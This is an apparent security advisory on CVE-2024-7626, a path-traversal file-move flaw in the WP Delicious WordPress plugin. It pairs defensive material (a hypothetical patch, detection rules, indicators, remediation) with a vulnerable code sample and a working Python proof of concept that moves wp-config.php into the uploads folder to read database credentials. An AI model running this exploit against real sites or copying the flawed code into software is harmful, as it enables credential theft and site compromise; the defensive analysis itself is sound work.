CVE-2024-7626

Executive Summary

CVE-2024-7626 is a critical vulnerability in the WP Delicious – Recipe Plugin for WordPress (formerly Delicious Recipes), affecting all versions up to and including 1.6.9. The flaw resides in the save_edit_profile_details() function, which fails to properly validate file paths during profile updates. This allows authenticated attackers with subscriber-level access or higher to arbitrarily move or read files on the server. By moving sensitive files like wp-config.php into a publicly accessible directory, an attacker can achieve remote code execution (RCE) and full site compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker with minimal privileges can read and move arbitrary files, leading to full server compromise.

Deep Dive & Mechanics

The vulnerability exists in the save_edit_profile_details() function within the WP Delicious plugin. This function is responsible for handling profile updates from the frontend. The code uses user-supplied file paths without proper validation or sanitization, allowing path traversal attacks.

Root Cause: The function does not check if the target file path is within an allowed directory or if the file being moved is a legitimate profile asset. An attacker can supply a path like ../../wp-config.php to move the WordPress configuration file to a web-accessible location.

Attack Flow:

1. An authenticated user (subscriber or above) accesses the profile edit page.
2. The attacker crafts a malicious request to the save_edit_profile_details() function, specifying a source file (e.g., wp-config.php) and a destination path (e.g., ../../wp-content/uploads/evil-config.txt).
3. The plugin moves the file without checking if the source is a valid profile file or if the destination is within the allowed upload directory.
4. The attacker then accesses the moved file via HTTP, reading sensitive data like database credentials.
5. If the attacker moves a PHP file (e.g., a plugin file) into the uploads directory and accesses it, they can achieve remote code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a simplified representation of the flawed logic:

Vulnerable Code (save_edit_profile_details function):

function save_edit_profile_details() {
    $user_id = get_current_user_id();
    $source = $_POST['profile_image_path'];
    $destination = $_POST['new_profile_image_path'];
    
    // No validation of source or destination paths
    if (file_exists($source)) {
        rename($source, $destination);
    }
}

Expected Patched Code (hypothetical):

function save_edit_profile_details() {
    $user_id = get_current_user_id();
    $upload_dir = wp_upload_dir();
    $allowed_base = $upload_dir['basedir'] . '/profile-images/';
    
    $source = realpath($_POST['profile_image_path']);
    $destination = realpath($_POST['new_profile_image_path']);
    
    // Validate that both paths are within the allowed directory
    if (strpos($source, $allowed_base) === 0 && strpos($destination, $allowed_base) === 0) {
        if (file_exists($source)) {
            rename($source, $destination);
        }
    }
}

The patched version would restrict file operations to a specific directory (e.g., profile images) and use realpath() to resolve symbolic links and prevent path traversal.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with WP Delicious plugin <= 1.6.9
• Authenticated user account with subscriber role or higher

Exploit Steps:

1. Log in as a subscriber.
2. Navigate to the profile edit page (e.g., /wp-admin/profile.php).
3. Intercept the profile update request using a proxy like Burp Suite.
4. Modify the POST parameters to include:
   • profile_image_path: ../../wp-config.php
   • new_profile_image_path: ../../wp-content/uploads/evil-config.txt
5. Send the request.
6. Access http://target/wp-content/uploads/evil-config.txt to read the database credentials.

Proof-of-Concept (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first
login_data = {
    'log': 'attacker',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit
exploit_data = {
    'profile_image_path': '../../wp-config.php',
    'new_profile_image_path': '../../wp-content/uploads/evil-config.txt',
    'action': 'save_edit_profile_details'
}
session.post(target + '/wp-admin/admin-ajax.php', data=exploit_data)

# Retrieve the moved file
r = session.get(target + '/wp-content/uploads/evil-config.txt')
print(r.text)

Blue Team (Defender)

Detection Steps:

1. Monitor file system changes for unexpected moves of critical files (e.g., wp-config.php).
2. Review web server logs for unusual POST requests to admin-ajax.php with parameters like profile_image_path and new_profile_image_path.
3. Check for files with suspicious names in the uploads directory (e.g., evil-config.txt).
4. Implement file integrity monitoring (FIM) on critical WordPress files.

Mitigation:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block requests containing path traversal patterns (e.g., ../).
• Restrict file permissions so that the web server cannot move files outside the upload directory.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected presence of wp-config.php in wp-content/uploads/ or other web-accessible directories.
  • Files with names like evil-config.txt, backup-config.php, or similar in upload directories.
• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=save_edit_profile_details and parameters containing ../.
• Logs:
  • Web server access logs showing requests to wp-content/uploads/ for files that were not originally uploaded.
  • PHP error logs indicating failed file operations or permission issues.

Detection Engineering

YARA Rule

rule CVE_2024_7626_WP_Delicious_FileMove {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7626 in WP Delicious plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7626"
    strings:
        $s1 = "save_edit_profile_details" ascii wide nocase
        $s2 = "profile_image_path" ascii wide nocase
        $s3 = "new_profile_image_path" ascii wide nocase
        $s4 = "../" ascii wide
    condition:
        all of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2024-7626 WP Delicious File Movement Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests attempting to exploit arbitrary file movement in WP Delicious plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=save_edit_profile_details'
        cs-uri-query|contains|all:
            - 'profile_image_path'
            - 'new_profile_image_path'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7626 WP Delicious File Movement Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_edit_profile_details"; http_client_body;
    content:"profile_image_path"; http_client_body;
    content:"new_profile_image_path"; http_client_body;
    content:"../"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-7626;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Apply virtual patching using a WAF to block requests containing profile_image_path and new_profile_image_path parameters with path traversal sequences.
3. Restrict file permissions on wp-config.php to read-only for the web server user (e.g., chmod 400 wp-config.php).
4. Monitor logs for exploitation attempts as described in the Detection Engineering section.

Long-term Fix:

• The vendor must release a patched version that validates file paths against an allowed directory and uses realpath() to prevent traversal.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, modify the save_edit_profile_details() function in the plugin code to add path validation (see patched code example above). Note that this will be overwritten on plugin updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert